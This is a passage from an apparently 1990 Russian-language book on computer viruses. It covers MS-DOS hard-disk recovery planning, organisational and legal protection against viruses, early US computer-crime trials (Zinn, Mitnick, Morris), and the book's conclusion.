неподходящий момент. Результаты ваших раздумий следует оформить в виде папки с документами ("горячая папка") и коробки с дискетами ("горячая коробка"), которые вместе мы будет называть "планом восстановления винчестера". Первая компонента плана є "горячая папка" должна содержать всю информацию, необходимая для восстановления винчестера. Для машин типа AT на лицевую сторону обложки следует наклеить распечатку содержимого CMOS-памяти, полученного с помощью программы SysInfo, входящей в 5 версию утилит Нортона или с помощью другой подходящей утилиты. На обратную сторону папки удобно наклеить распечатку PARTITION TABLE, всех логических дисков. Ее можно получить с помощью Norton Utilities. На обороте папки карандашем удобно записывать даты создания архивов логических дисков и имена файлов с протоколами архивирования. В самой папке следует хранить распечатку последних версий AUTOEXEC.BAT и CONFIG.SYS, а также тетраль, в которой записаны необходимые шаги по восстановлению основных каталогов и комментарии к ним (с указанием встретившихся трудностей и "топких" мест). В папке также желательно хранить распечатку каталогов всех логических дисков винчестера и каталогов всех дискет "горячей коробки". Горячая коробка должна состоять из лучших дискет, которыми вы располагаете (желательно 1.2M, если на машине установлен соответствующий дисковод). Эти дискеты должны быть проверены и не содержать сбойных треков. Примерный состав "горячей коробки": 1. Дискета с стартовой операционной системой. Если вы используете DISK MANAGER или ADM, то дискета со стартовой операционной системой должна включать в CONFIG.SYS соответствующий драйвер. Если на компьютере установлен дисковод 1.2M, то стартовая дискета должна быть именно 1.2M, а не 360K, как это часто бывает. При загрузке операционной системы со стартовой дискеты, необходимо предусмотреть организацию электронного диска размером в 200К при обьеме оперативной памяти в 640K, или 384K при обьеме оперативной памяти в 1M. В процессе загрузки на этот электронный диск должен переписываться командный процессор и Norton Commander с тем, чтобы не приходилось держать на каждой дискете копию командного процессора. Все EXE-файлы на стартовой дискете целесообразно сжать архиватором LZEXE. В случае дискеты 360K полезно преобразовать в EXE-формат и сжать COM-файлы. Ввиду особой важности, целесообразно иметь две идентичные копии стартовой дискеты. 2. Дискеты с утилитами. На эти дискеты рекомендуется записать Norton Utilities версии 5 и PCTools. Если дискеты имеют обьем меньший 1.2M, то все нужные программы можно разместить на двух дискетах. 3. Дискета с программами разметки винчестера и установки используемого дискового драйвера. На данной дискете целесообразно разместить соответствующие программы (ADM, DISK MANAGER, SpeedStore и т.д.) и текстовый файл с планом разбиения винчестера. 4. Дискета с резервными копиями управляющих блоков. Эта дискета должна иметь подкаталоги С, D, E и т.д., в каждом из которых следует хранить управляющие блоки относящиеся к данному диску. Файлы с резервными компиями управляющих блоков проще всего следать с помощью программы DiskEdit версии 5 утилит Нортона. При этом MBR можно записать в файл MBR.BIN, бутсектор в файл BOOT.BIN, а затем сделать их распечатки. Программа DiskTool версии 5 утилит Нортона позволяет создать объединенные дампы MBR и бутсекторов всех логи- ческих дисков, которые следует записать в корневой каталог данной дискеты. Она также выполняет дамп СMOS. Помимо указанных статических управляющих блоков, которые достаточно записать на дискету один раз, необходимо периодически записывать на эту дискету дампы FAT и главного каталога. Для этой цели удобно использовать файлы, создаваемые программой Image на диске. Их следует скопировать в соответствующий подкаталог дискеты с помощью Norton Commander или другой аналогичной оболочки. 5. FASTBACK PLUS и протоколы выгрузки для каждого логического диска. 6. Программы тестирования оборудования. 7. Электронный справочник TechHelp фирмы План восстановления винчестера должен быть реально отработан хотя бы один раз. Для этой цели целесообразно устроить "учебную тревогу" - после полной выгрузки информации на дискеты стереть вручную, скажем главный каталог винчестера, предварительно создав его копию на диске в помощью программы Image из 5 версии утилит Нортона и записав на дискету программу восстановления (Unformat). Наверняка уже на начальных шагах восстановления обнаружится ряд серьезных проблем, преодаление которых приведет к существенному уточнению первоначального плана. Зато в кризисной ситуации "полетевшего винчестера" можно будет действовать более спокойно и уверенно, зная, что все нужные программы записаны на дискеты и архив успешно восстанавливался. 10.6.2. Если что-то случилось - избегайте поспешных действий "Утро вечера мудренее" Пословица При обнаружении вируса и, в особенности, при уничтожении им какой-то информации очень важно не предпринимать поспешных действий, и, прежде всего не запускать никаких программ с винчестера и не записывать на диск новой информации. Рекомендуется сначала "остановиться, оглядеться, перегрузиться с дискеты", поскольку при этом существенно повышаются шансы того, что уничтоженная информация может быть восстановлена в полном объеме. Даже если диск отформатирован, содержащаяся на нем информация может быть в ряде случаев восстановлена. При обнаружении каких-то повреждений информации или файловой структуры запуск любых программ, записывающих информацию на винчестер, является грубой ошибкой, обычно существенно увеличивающей количество потерянной информации. В случае вирусов поспешное восстановление обычно приводит не только к потере части файлов, но и к повторному заражению. Характерным примером непродуманных поспешных действий является реакция некоторых пользователей на ложное сообщение сторожа FluShot Plus о попытке модификации CMOS ("экзотический" тип памяти для машин типа AT). Вместо выяснения ситуации, которая является редкой и связана с типом памяти, назначение которой далеко не все отчетливо себе представляют, такие пользователи "доверчиво" отвечают на запрос FluShot - восстановить (правильный ответ - игнорировать), что приводит к затиранию CMOS-памяти без помощи вируса. Вместе с тем, "экзотичность" ситуации делает вполне оправданным телефонный звонок специалисту, на который достаточно потратить 5-10 мин, что позволяет в большинстве случаев избежать неприятных последствий. Другим примером является использование Norton Disk Doctor версии 4.5 при восстановлении информации на винчестре. В ряде случаев, особенно при использовании дисковых драйверов, использующих нестандартный формат MBR, его применение может давать непредвиденные результаты. Кроме того, если указанной программой восстанавливается сектор, содержащий каталог, то хотя его содержимое переносится в другой кластер, ссылка в родительском каталоге продолжает указывать на старый кластер, что может вызывать эффект "двоящегося ка- талога". Эти недостатки устранены в версии 5.0 утилит Нортона. Не рекомендуется начинать восстановление винчестера "сразу после события" или во второй половине дня. Поскольку часть информации так или иначе пропала и потери времени неизбежны, лучше всего прекратить работу в этот день и заняться чем-нибудь другим. Не исключено, что за это время в голову придет какая-нибуль удачная идея, которая позволит существенно уменьшить обьем работы по восстановлению. 10.6.3. Советы по восстановлению информации Прежде чем начать восстановление информации на диске восстановите CMOS, MBR и бутсектор. Используя файлы, записыванные в базе данных восстановления с помощью программы DiskTool 5 версии утилит Нортона восстановите указанные блоки. MBR и бутсектор относятся к статическим управляющим блокам и внесение изменений в них фактически возможно только при переразметке винчестера. CMOS имееет динамические поля (дата и время) однако их значение некритично. Этот прием обеспечивает заведомо правильное значение типа винчестера в CMOS, границы логических дисков и параметры разметки (количество секторов в кластеле и и другая информация из бутсектора). При этом файлы из которых вы производите воссстановление должны принадлежать данному винчестеру и компьютеру, иначе можно "наломать дров". Затем следует проверить правильность восстановления CMOS, MBR и бутсектора визуально. Если компьютер загружается с дискеты, но винчестер не читается, то сначала оцените обьем повреждений. Первое, что нужно следать в данном случае є это промотреть управляющие блоки и определеить степень их повреждения. Если блоки читаются и информация в них не слишком искажена, то соответствующие сектора диска следует записать в виде файлов на дискету с помощью Norton Utilities и распечатать дамп утилитой TDUMP или какой-нибудь аналогичной. Помимо визуального сравнения, рекомендуется получить протокол различий имеющегося и эталонного MBR, бутсектора, FAT и корневого каталога. Это можно сделать с помощью утилиты FC, входящей в MS DOS. Затем следует запустить Norton Disk Doctor II и записать выдаваемую им диагностику. К выдаваемым сообщениям следует относиться критично. Никаких действий по исправлению до подтверждения "диагноза" по другим источникам разрешать не следует. Перед началом восстановления выполните съем информации на дискеты. Выполнив съем информации на дискеты с помощью DiskEdit, можно более уверенно работать, не боясь окончательно испортить информацию. При наличии более мощного компьютера, восстановление информации удобнее проводить на нем, записав выгруженные сектора в виде файла, а затем создав дополнительный каталог, восстанавливать цепочки в FAT. Конечно для этой цели выделить отдельный рабочий диск или выгрузить один из имеющихся разделов винчестера, поскольку операции с FAT лучше проводить на "чистом" диске. Если компьютер не загружается с дискеты, переставьте винчестер на другой компьютер с подходящим контроллером. Если вышел из строя какой-то блок компьютера, то винчестер можно переставить на другой компьютер и прочитать информацию там. Если это не представляется возможным, то лучше снять винчестер с данной машины и переставить его на время восстановления на более мощный компьютер. При большом объеме работ по восстановлению доукомплектуйте компьютер еще одним винчестером или дисководом. Если предстоит большая и сложная работа по восстановлению информации, то нельзя пытаться следать ее "наскоком". Нужно обязательно провести подготовительную работу. В частности, на время восстановления полезно доукомплектовать компьютер вторым винчестером (желательно аналогичного типа) и дисководом 1.2M. В наших условиях, в качестве дополнительного винчестра обычно подойдет 20M винчестер с какойнибудь вышедшей из строя Мазовии или Правца. Это существенно упрощает вызов необходимых программ и хранение промежуточной информации во время восстановления. Некоторые приемы работы на компьютере с одним дисководом. Каждый, кому приходилось восстанавливать винчестер на компьютере, имеющим один дисковод, знает, что большая половина усилий уходит не на восстановление, а на преодаление неудобств, связанных с ограниченностью конфигурации. Первое, что стоит сделать в таких условиях, это предусмотреть перенесение командного процессора и некоторых утилит на электронный диск. При размере электронного диска в 384K, как это имеет место на большинстве поставляемых в нашу страну AT, на электронный диск можно записать помимо командного процессора PKZIP и Norton Commander. При этом еще остается возможность распаковывать небольшие файлы на электронный диск. При отсутствии электронного диска даже копирование отдельного файла с дискеты на дискету представляет определенную проблему. Для этой цели следует задавать команду: copy a:\command.com b: Несмотря на то, что диск B физически отсутствует, операционная система правильно выполнит команду, позволяя после считывания файла вынуть исходную дискету и вставить новую. Таким же образом следует поступать при копировании больших файлов. Правда в этом случае удобнее пользоваться утилитой XCOPY. 10.7. Некоторые организационные меры защиты "Как всякий человек на своем месте, как подчиненные его самого, Лужин ругал высшее начальство, считая, что там сидят дураки, бюрократы, самодуры, которые отдают приказы, совершенно не считаясь с их практической выполнимостью" В.Войнович "Жизнь и необычайные приключения солдата Ивана Чонкина" Хотя в данной работе рассматриваются, в основном, технические аспекты защиты от компьютерных вирусов, представляется целесообразным кратко остановиться и на организационных методах, поскольку они, по сути, являются одной из составных частей защиты, наряду с техническими и программными методами. Как уже указывалось, независимо от того, насколько хорошо разработаны программные средства защиты, их эффективность во многих случаях непосредственно зависит от правильности действий пользователя, действий, в которых возможны не только ошибки, но и "несознательность" или даже злой умысел. Например, если один из сотрудников регулярно запускает где-то переписанные игровые программы на компьютере с винчестером, то шансы на то, что поставленная программная защита не сможет предотвратить заражение, безусловно отличны от нуля. Организационные меры защиты должны прежде всего соответствовать здравому смыслу. Обычно наблюдаются лишь крайности: или практически полное отсутствие регламентации доступа, или административно-командный "беспредел", граничащий с абсурдом, и делающим нормальную работу невозможной (типа "пребывание сотрудников в корпусе ... после 17.00 запрещено"). Особенно характерным примером последнего является регламентация режима работы в предпраздничные, праздничные и выходные дни, когда большинство институтов было закрыто и опечатано исключительно по соображениям "как бы чего не вышло". Или, скорее, сама обстановка уравниловки приводила к тому, что работа в "неположенное" время рассматривалась как что-то, граничащее с "крамолой". В то же время в области административных мер, как и везде, важно найти оптимум между полным предотвращением доступа к ПЭВМ и анархией. При этом, естественно, организационные меры должны предприниматься только с учетом выявленных "точек проникновения" и наличия информации, подлежащей защите. Следует также отметить, что косность аппарата ведет к тому, что принятые в ответ на определенную ситуацию административные меры имеют тенденцию применяться и после того, как ситуация полностью изменилась. Поэтому необходим периодический пересмотр административных мер регламентации доступа и приведение их в соответствие со сложившейся ситуацией. Среди спектра организационных мер отметим следующие, представляющиеся автору наиболее важными: общее административное регулирование доступа, включая систему паролей и сегментирование зон доступа; обучение персонала; обеспечение физической безопасности компьютера и магнитных носителей; выработку правил архивирования; определение файлов, хранимых в шифрованном виде. Общее административное регулирование доступа должно обеспечивать приемлемую степень защиты от использования компьютеров с ценными данными случайными лицами. Если человек оставляет на улице автомобиль с незапертыми дверцами и вставленным ключем зажигания, то если его угонят, определенная доля вины будет лежать на этом человеке. Ситуация с компьютерами аналогична. Помимо опасности заражения вирусами, незаконное копирование или модификация конфиденциальной информации может нанести значительный вред организации, не обеспечившей приемлемый уровень контроля за контингентом пользователей соответствующего компьютера. Если говорить о системе паролей, обеспечиваемых рядом систем, например Advanced Disk Manager, то с организационной точки зрения важно, чтобы пароли были достаточно длинными, с целью предотвращения их случайного угадывания. Простым и в то же время достаточно хорошо зарекомендовавшим себя методом получения таких паролей является комбинирование пароля из двух хорошо знакомых слов. Например, пароли "Коля" и 1950 каждый в отдельности являются весьма уязвимыми, однако их комбинация типа К1о9л5я0 уже гораздо труднее дешифруется и не так легко может быть запомнена путем подглядывания "через плечо". Кроме того, пароли должны периодически меняться, причем для пользователей, которые не желают делать это добровольно, сответствующую "услугу" должен оказывать системный программист. Случаи, когда пользователи по нескольку лет пользуются одним и тем же паролем, безусловно, должны быть исключены. Кратко рассмотрим вопрос об обучении персонала. На семинарах по защите от компьютерных вирусов часто задают вопрос о том, как предотвратить заражение компьютера вирусами. Главным условием этого следует признать соответствующий уровень обучения сотрудников и, конечно, уровень их лояльности по отношению к данной организации. Если организацию можно определить как группу людей, стремящихся достичь определенной цели, то в успехе, разумеется, рещающую роль играет уровень их компетентности, опыт и личные качества. Опыт показывает, что чем менее знаком данный сотрудник с компьютерами и чем менее он дисциплинирован, тем большую опасность он представляет с точки зрения возможности заражения ПЭВМ компьютерными вирусами. Как уже указывалось выше, сотрудник, запускающий на компьютере с винчестером новую игру, недавно полученную у приятеля, безусловно подвергает компьютер определенному риску, степень которого, конечно, зависит от уровня его квалификации, наличия резидентных средств защиты, а также применения им различных средств тестирования нового программного обеспечения на наличие компьютерных вирусов. Здесь следует отметить, что само по себе разграничение доступа не является панацеей. Представим себе гипотетическую ситуацию, когда один из пользователей, обладающий минимальными правами доступа (например, для которого винчестер доступен только в режиме чтения) столкнулся с зараженной игрой, которая стала работать несколько "странно". Он, естественно, обращается за помощью к систем- ному программисту, который будучи перегруженным, сначала решает посмотреть, что происходит непосредственно на машине. Для этого он входит в систему со своим паролем (и, соответственно, максимальным уровнем доступа) и "для пробы" один раз запускает эту игру. Не требуется объяснять, к какому результату приведет такой "пробный" запуск. Вместо системного программиста в роли "троянского коня" может выступить практически любой более компетентный (и обладающий, соответственно, большими правами доступа) пользователь, к которому обратятся с той же просьбой. И, наконец, важным условием эффективности любых мер по защите информации является обеспечение физической безопасности компьютера и дискет. Соотношение между ценой персонального компьютера и средней зарплатой говорит само за себя. Неслучайно, кражи персональных компьютеров в нашей стране давно перестали быть редкостью. Раскрываемость этого вида преступлений невелика. Например из двух украденных в КИИГА за 1990 г. компьютеров типа PC AT не найден ни один. Поэтому этим вопросам необходимо уделять достаточное внимание. В частности, помещения, где установлены компьютеры должны быть обязательно оборудованы электронной системой сигнализации. К сожалению практика показала, что электронные системы сигнализации в ряде случаев устанавливаются некачественно, не перекрывая всех возможных путей проникновения в помещение. Поэтому их рекомендуется дублировать инфракрасными датчиками, перекрывающими непосредственно рабочую зону, где установлены ЭВМ. При отсутствии инфракрасных датчиков, имеет смысл устанавливать наиболее ценные персональные компьютеры на металлические столы со специальными закрываемыми нишами для блоков или снимаемым металлическим колпаком. Кстати, установка компьютера на прочном металлическом столе полезна и с точки зрения предотвращения повреждения винчестера от случайных толчков и колебаний. Неслучайно Роджер Олфорт в статье "Десять советов по эксплуатации накопителей на жестких магнитных дисках" (Мир ПК, 1990 No. 3) пишет: "... накопители на жестких дисках не любят грубого обращения. Даже такие, на первый взглыд, безобидные факторы, как книга, брошенная на стол, или случайные толчки стола прохолящими коллегами, могут привести к тому, что головки чтения/записи накопителя чиркнут по поверхности дисков и испортят данные. Чтобы свести к минимуму вероятность подобной ситуации, рекомендуется устанавливать компьютер на прочный стол. Лично я работаю на стальном столе, прочном, как танк." Учитывая, что стоимость изготовления такого стола существенно ниже стоимости компьютера, данная рекомендация заслуживает внимания. Да и простое прикрепление системного блока к столу на котором он установлен в наших условиях совсем не помешает. Аналогичные замечания относятся к дискетам. Дискеты с ценной информацией следует хранить в сейфе, а не в ящике письменного стола. Конфиденциальная информация должна шифрововаться. В рамках рассматриваемой темы это прежде всего относится к зараженным программам, образцам вирусов, а также материалам их дизассемблирования и реконструкции. 10.8. Юридические методы защиты от компьютерных вирусов "Oleynikoz S., 1990" Cтрока, содержащаяся в вирусе RC-600 "Вы не глядите, что Серега все кивает, он соображает, все понимает ! что молчит - так это от волненья, от осознанья и просветленья. Не запирайте, люди ! ..." В.Высоцкий, Милицейский протокол Антропоморфизм в терминологии ("заражение", "вирус") не должен заслонять суть дела - вирусы это специальный метод саботажа с помощью преднамеренно созданных для этой цели программ. Хотя вопросы юридической ответственности лиц, занимающихся созданием и распространением вирусов являются достаточно сложными, однако они успешно решаются в Северной Америке и западноевропейских странах. Уголовная ответственность за создание и распространение компьютерных вирусов принята сейчас в большинстве западных стран. При этом можно выделить следующие действия, подпадающие под существующий уголовный и административный кодекс: изменение данных (удаление, вставка, замена или перестановка данных, осуществляемая без ведома владельца); компьютерный саботаж (препятствование важной для предприятия или лица деятельности); повреждение имущества (если поврежденным имуществом является непосредственно ЭВМ или ее компонента); шпионаж (обеспечение доступа для себя или для другого лица к данным, не предназначенным для использования этими лицами и доступ к которым защищен специальным образом); фальсификация документов (в случае, если вирус изменяет данные, предназначенные для доказательства того или иного статуса или права данного лица или группы лиц). При этом наказание может нести не только непосредственный разработчик, но и исполнители и соучастники. При наличии последних можно говорить о преступной группе. Если задаться вопросом о мотивации разработки компьютерных вирусов, то становится очевидной неоднородность разработчиков. Можно выделить несколько типов мотивации (хулиганы, вандалы, наемники и т.д.). Если на одном конце спектра находится мелкий пакостник, который создает вирус с целью продемонстрировать "городу и миру" какой-нибудь "сногсшибательный" с его точки зрения эффект, то на другом конце спектра находится рэкетир, использующий вирус для шантажа пользователей. В любом случае, выявление и попытка привлечь к судебной ответственности разработчиков компьютерных вирусов является важной формой борьбы с распространением компьютерных вирусов. Существует ряд достаточно тонких моментов, связанных с ответственностью за заражение программного обеспечения компьютерным вирусом. Так, при наличии вируса(ов) на некоммерческих дискетах к ответственности должен привлекаться автор вируса, а не распространитель (за исключением случаев, когда распространитель знал о существовании вируса и не принял мер по его удалению. К последнему случаю можно отнести наличие "хорошо известного" вируса, на который у распространителя заведомо имелся детектор и/или фаг). В случае коммерчески распространяемых дискет, возможно привлечение разработчика к ответственности за преступную халатность: изготовитель коммерческого программного обеспечения обязан достаточно хорошо знать свои программы с тем, чтобы обнаруживать в них вирусы при наличии надлежащих мер предосторожности и контроля. При отсутствии умысла уголовная ответственность исключается, однако вполне возможна административная ответственность по возмещению ущерба. Посредник (продавец коммерческого программного обеспечения) может нести ответственность в случае заражения программ "хорошо известными вирусами", поскольку в этом случае можно доказать, что он не принял необходимых мер предосторожности, тем самым проявив преступную халатность. Разработка компьютерных вирусов не является уголовно наказуемым деянием. Однако, когда разработанный вирус (в виде исходного кода или зараженной программы), был опубликован (помещение программы в BBS или электронный бюллетень рассматривается как опубликование), распространен или передан третьим лицам с согласия разработчика или без оного, возникает административная или уголовная ответственность в зависимости от ущерба, нанесенного деятельностью созданного вируса. При этом, опубликование или распространение исходного кода вируса может квалифицироваться как подстрекательство (публичное или тайное воздействие на другое лицо с целью принятия им решений об осуществлении уголовно наказуемых действий) и вести к уголовной ответственности по соответствующей статье. При этом несущественно наличие каких-либо рекомендаций по его использованию, включая отрицательные рекомендации типа "ни в коем случае не делайте...". Передача исходного кода вируса или заведомо зараженной вирусом программы может рассматриваться как пособничество, если в результате такой передачи будет причинен вред третьим лицам. При этом пособничество может квалифицироваться как умышленное, если программисту было известно, что своими действиями он мог способствовать совершению преступления. Такая ситуация может возникнуть, например, если разработанным вирусом сознательно заражались продаваемые программы. В этой связи следует упомянуть о таком опасном преступлении, как "вирусный рэкет". Одной из разновидностей последнего является сознательное заражение программного обеспечения, поставляемого вместе с компьютером, с целью извлечения дополнительной прибыли в виде платы за последующую дезинфекцию. На Западе отмечались случаи вирусного шантажа, когда неизвестное лицо по телефону сообщает об угрозе "взрыва" установленной вирусной "мины", способной разрушить ценную информацию. Как и в случае с шантажистами, сообщающими об установке мины в самолет, даже в случае если угроза оказывается ложной, персонал теряет массу времени на поиски и проверку программного обеспечения. Создание троянской версии имеющейся программы путем включения в нее замаскированного тела вируса и ориентированной на распространение данного вируса следует рассматривать как два отдельных преступления. Во-первых здесь имеется особо опасное нарушение авторских прав разработчика программы-носителя вируса, а во-вторых сознательная попытка распространить вирусную программу. Учитывая наблюдающийся сейчас рост преступности, нет никаких сомнений в том, что в нашей стране будет быстро расширяться и та ее часть, которая прямо или косвенно связана с компьютерами, т.е. компьютерная преступность. В то же время, шансы на принятие законодательных мер в этом направлении в обозримом будущем невелики. Это связано прежде всего с тем, что в нашей стране еще не решены основные вопросы авторских прав на программное обеспечение. Несмотря на несовершенство действующего законодательства, такая возможность имеется. В частности, в Уголовном кодексе УССР имеется статья 90 "неосторожное уничтожение или повреждение государственного или общественного имущества". Если трактовать случаи заражения вирусом приобретенного организацией коммерческого программого обеспечения как его повреждение, то возбуждение уголовного дела против разработчика вируса представляется возможным и рамках действующего законодательства. 10.8.1. Некоторые судебные процессы над кракерами и разработчиками вирусов Имеющиеся сведения почти целиком основны на американских данных. Сведения о судебных процессах в Европе на момент написания книги отсутствовали. Сведения приводятся в хронологическом порядке. Все приводимые ниже процессе велись на основе принятого в 1986 г. американского закона о компьютерных преступлениях (1986 U.S. Computer Fraud and Abuse Act). Процесс Зинна. В феврале 1989 г. 17-летний уроженец Чикаго Герберт Зинн был осужден окружным судом Северного района шт. Иллинойс на девятимесячное заключение в тюрьме для малолетних преступников. Он обвинен в незаконном доступе к компьютерам фирмы AT & T в Напервилле (шт. Иллинойс), компьютерам НАТО в Бирлингтоне и на базе военно-воздушных сил в шт. Джорджия. По данным обвинения между июнем и сентябрем 1987 г. Зинн похитил программное обеспечение на сумму порядка 1,2 млн. долларов, включая очень ценные программы в области искусственного интеллекта и разработки компьютеров. Он был выявлен служащими компании AT & T, обнаружившими его телефонный номер и сообщения в одной из BBS. Это было первое осуждение по упомятуму выше закону от 1986 г. Процесс Митника. В марте 1989 г. 25-летний Кевин Давид Митник был осужден к году тюремного заключения и трехлетнему испытательносму сроку за кражу программы защиты от несанкционированного доступа, разработанную американской фирмой DEC. Стоимость разработки составила порядка 1 млн. долларов. Компания затратила более 100 тыс. долларов (преимущественно машинного времени) на расследование факта кражи. Микник также обвинялся в законном использовании 16-ти чужих кодов с целью избежать оплаты междугородних телефонных переговоров и в проникновении в компьютер университета Лидза (Leeds) в Великобритании, однако в ходе слушаний прокурор согласился снять эти обвинения. Интересно отметить, что в приговоре предусматривалось шестимесячное лечение Митника в реабилитационном центре "с целью избавления его от навязчивого пристрастия к компьютерам". Процесс Морриса. Как уже указывалось, 23-летний Роберт Тарран Моррис младший, бывший аспирант Корнельского университета оштрафован на 10 тыс. долларов, а также осужден на три года условно и 400 часов общественных работ. Моррис является автором вируса, поразившего в ноябре 1988 г. американскую национальную сеть Internet. Слушания по делу Морриса проходили в окружном суде штата Нью-Йорк с 22 января по 4 мая 1989 г. Приговор, вынесенный 4 мая 1989 г., основан на упомянутом выше законе от 1986 г. Осуждение основано на факте несанкционированного доступа Морриса к компьютерам и нанесении ущерба в 150 тыс. долларов государственной сети компьютеров. Основная часть этого ущерба связана с потерями машинного времени и времени, затраченного персоналом на восстановление операций сети. Адвокат Морриса заявил, что сумма ущерба раздута заинтересованными организациями. 11. ЗАКЛЮЧЕНИЕ "Господа присяжные заседатели, заседание продолжается" И.Ильф, Е.Петров Следует подчеркнуть, что приведенный в данной работе перечень вирусов далеко не является исчерпывающим. В настоящее время для MS DOS существует несколько сотен компьютерных вирусов и их число продолжает расти. Поэтому следует с одной стороны ожидать постепенного проникновения в СССР новых, более опасных и изощренно написанных вирусов, включая стелс-вирусы, с другой "вирусного взрыва" внутри самой страны, причем в силу наших особенностей он принимает форму большого количества сравнительно простых, а зачастую и безграмотно написанных вирусов. Не следует думать, что эволюция вирусов пойдет только в направлении их усложнения. Опыт показал, что сложность стелс-вирусов существенно снижает их жизнеспособность. Как отмечал С.Н.Паркинсон в одном из своих знаменитых законов "рост означает усложнение, а усложнение -- разложение". По-видимому эволюция компьютерных вирусов будет идти сразу в нескольких направлениях, лишь одним из которых являются стелс-вирусы. В свете имеющихся фактов, налаживание сплошного входного контроля и исследования поступающего программного обеспечения является важной задачей, решение которой не терпит отлагательства. Помимо входного контроля батареей детекторов важное значение приобретает контроль при загрузке. К сожалению, имеющиеся утилиты для контроля "on the fly" (FluShot+) еще весьма несовершенны и разработки в этом направлении являются, пожалуй, самыми приоритетными. В то же время нельзя полагаться на какой-то один метод защиты -- защита должна быть многоуровневой, комплекной и включать хорошо отлаженную систему архивирования. Без последней любой метод защиты по сути является самообманом. Другим важным методом противодействия, выходящим в настоящее время на передний план, является индивидуализация вычислительной среды. Как минимум должен использоваться нестандартный дисковый драйвер (например, Advanced Disk Manager) и командный процессор (например 4DOS). Следует также рекомендовать уменьшенный до 1К размер кластера на винчестере, который ведет к значительному снижению количества свободных секторов в конце файлов и, тем самым, препятствует распространению весьма опасных вирусов типа RC-0-512, одновременно улучшая степень использования винчестера.Большая степень индивидуализации достигается переходом к "MS DOS-совместимой" операционной системе (DR DOS, Hi DOS), тем более, что по своим эксплуатационным характеристикам эти системы превосходят MS DOS. Хотя общее количество вирусов велико, лежащие в их основе идеи сравнительно малочисленны и не так просто поддаются расширению. Поэтому основной тенденцией наблюдаемой в настоящее время является не столько появление новых типов вирусов, сколько комбинирование уже известных идей. Такие "гибриды", как правило, оказываются опаснее базисных видов. Например, в нескольких из появившихся недавно файловых вирусов используется заражение MBR, т.е. включены черты бутового вируса. Все же, более часто наблюдается минимальная модификация одного из получивших широкое распространение (и, следовательно, "доступного") вируса. Последнее приводит к образованию вокруг "базисного" вируса группы штаммов, причем их количество в некоторых случаях (например, для RCE-1813) превышает десяток. Не следует думать, что только пользователи клонов IBM PC страдают от этой новой напасти. Компьютерные вирусы отмечались и на других типах персональных ЭВМ, в особенности на Macintosh. Среди других ЭВМ, для которых существует один или несколько вирусов, следует отметить VAX-11, Apple-II, Amiga, Atari. Еще раз отметим, что по своей природе вирусы не являются программами, ориентированными на использование каких-то дефектов операционных систем. Для функционирования вирусу достаточно обычных средств практически любой файловой системы. Поэтому проблема компьютерных вирусов носит долговременный характер и к разработке средств защиты от них следует подходить соответственно, не рассматривая их как временные поделки. В настоящее время первостепенное значение приобретает обмен информацией между пользователями и координация усилий между разработчиками антивирусных программ. В какой-то мере в Киеве эту роль играет семинар "Системное программирование" и выпускаемый им электронный бюллетень СОФТПАНОРАМА. Постепенно налаживаются связи и с разработчиками и пользователями антивирусных средств в других городах, что позволяет оперативно распространять антивирусные программы и описания новых вирусов. Учитывая сравнительно медленную скорость распространения компьютерных вирусов от центра к периферии (обычно вирус появившейся в Моске, Киеве, Ленинграде становится проблемой в других городах через три-шесть месяцев), для большинства пользователей создается возможность встретить опасность во всеоружии. В этом плане было бы целесообразно создание отечественной антивирусной BBS, тем более, что количество установленных модемов последнее время быстро растет. Как уже было подчеркнуто, скрывать друг от друга "свежие" антивирусные программы просто невыгодно. Поэтому обмен должен налаживаться не только от города к городу, региона к региону, но и внутри конкретного города: заитересованные пользователи могут и должны организоваться и наладить обмен информацией и программами. Для этой цели может пос- лужить такое "проверенное" средство как организация ежемесячного городского семинара. В условиях отсутствия информационных сетей значительную роль в борьбе с вирусами способна сыграть периодическая печать. К сожалению, наши "околокомпьютерные" журналы оказались практически выключенными из борьбы, поскольку сроки их издания таковы, что соответствующая информация устаревает к моменту попадания к читателю. В этих условиях возрастает роль электронных бюллетеней типа СОФТПАНОРАМы, которые могут в приемлемые сроки распространять соответствующую информацию и загрузочные модули антивирусных средств. Несмотря на обилие различного рода антивирусных программ, вопросы конструирования средств защиты от вирусов остаются практически неизученными. Отечественные разработчики вынуждены опираться на свой собственный опыт и на немногочисленные исходные тексты антивирусных средств, дошедшие до нас, в основном, с Запада. При этом часто оказывается, что человек изобретает велосипед. Поэтому обобщение имеющейся практики и создание какогото "конструктора" для облегчения написания антивирусных программ (детекторов, фагов, вакцин и др.) представляется достаточно актуальным. Автор надеется посвятить этому вопросу вторую часть настоящей работы. Другим важным направлением является координация усилий между самими разработчиками, создание специальных инструментальных средств, облегчающих анализ загрузочных модулей. И наконец, поскольку вирусы являются дестабилизирующем фактором для всех пользователей, необходимо выявлять и пытаться привлечь к судебной ответственности разработчиков отечественных компьютерных вирусов. Несмотря на несовершенство действующего законодательства, такая возможность имеется. В частности, в Уголовном кодексе УССР имеется статья 90 "неосторожное уничтожение или повреждение государственного или общественного имущества". Если трактовать случаи заражения вирусом приобретенного организацией коммерческого программого обеспечения как его повреждение, то возбуждение уголовного дела против разработчика вируса представляется возможным и рамках действующего законодательства. Человек лишь недавно осознал, до какого кошмарного состояния он довел окружающую среду. На наших глазах мир превращается в глобальную свалку. Компьютерные вирусы, наряду с троянскими программами являются опасными загрязнителями информационной среды. Поэтому борьбу с компьютерными вирусами можно рассматривать как часть экологического движения. Как и проблема загрязнения природы, проблема компьютерных вирусов уже вышла за рамки национальных границ. Локальное загрязнение какой-то территории (например, Софии) почти всегда превращается в национальную, а затем и в международную проблему. Транснациональное распространение вирусов наносит экономический ущерб, который пока лишь по размеру отличается от ущерба, наносимого транснациональным распространением радиации или кислотных дождей. Понятно, что должна существовать ответственность за эти "грязные потоки" и какая-то система санкций. СССР в настоящее время присоединился ко многим международным соглашениям по охране окружающей среды. В области загрязнения информационной среды нам этого еще предстоит добиваться. Как и в области охраны авторских прав на программное обеспечение, в данном случае лучше добровольно привести свое законодательство к международным нормам, не дожидаясь, когда нам это придется сделать под давлением (к сожалению, обоснованным) со стороны других членов мирового сообщества. Иначе репутации отечественной программной продукции будет нанесен значительный ущерб потоком изготовленных в стране компьютерных вирусов. 12. ЛИТЕРАТУРА (16.11.90, 340 названий) В данной работе используются символические ссылки на приведенные ниже источники. В самих библиографических описаниях приняты следующие сокращенные названия периодических изданий: А) Славянские (советские, болгарские): АИТиАС - Автоматика, изчислителна техника и автоматизирани системи ИК - Интеркомпьютер КВ - Компютър за вас КП - КомпьютерПресс Б) Латинские (английские, немецкие, французские): CACM - Communications of the ACM CAK - Computer Anwendungen Universitat Karlsruhe CF&SB - Computer Fraud and Security 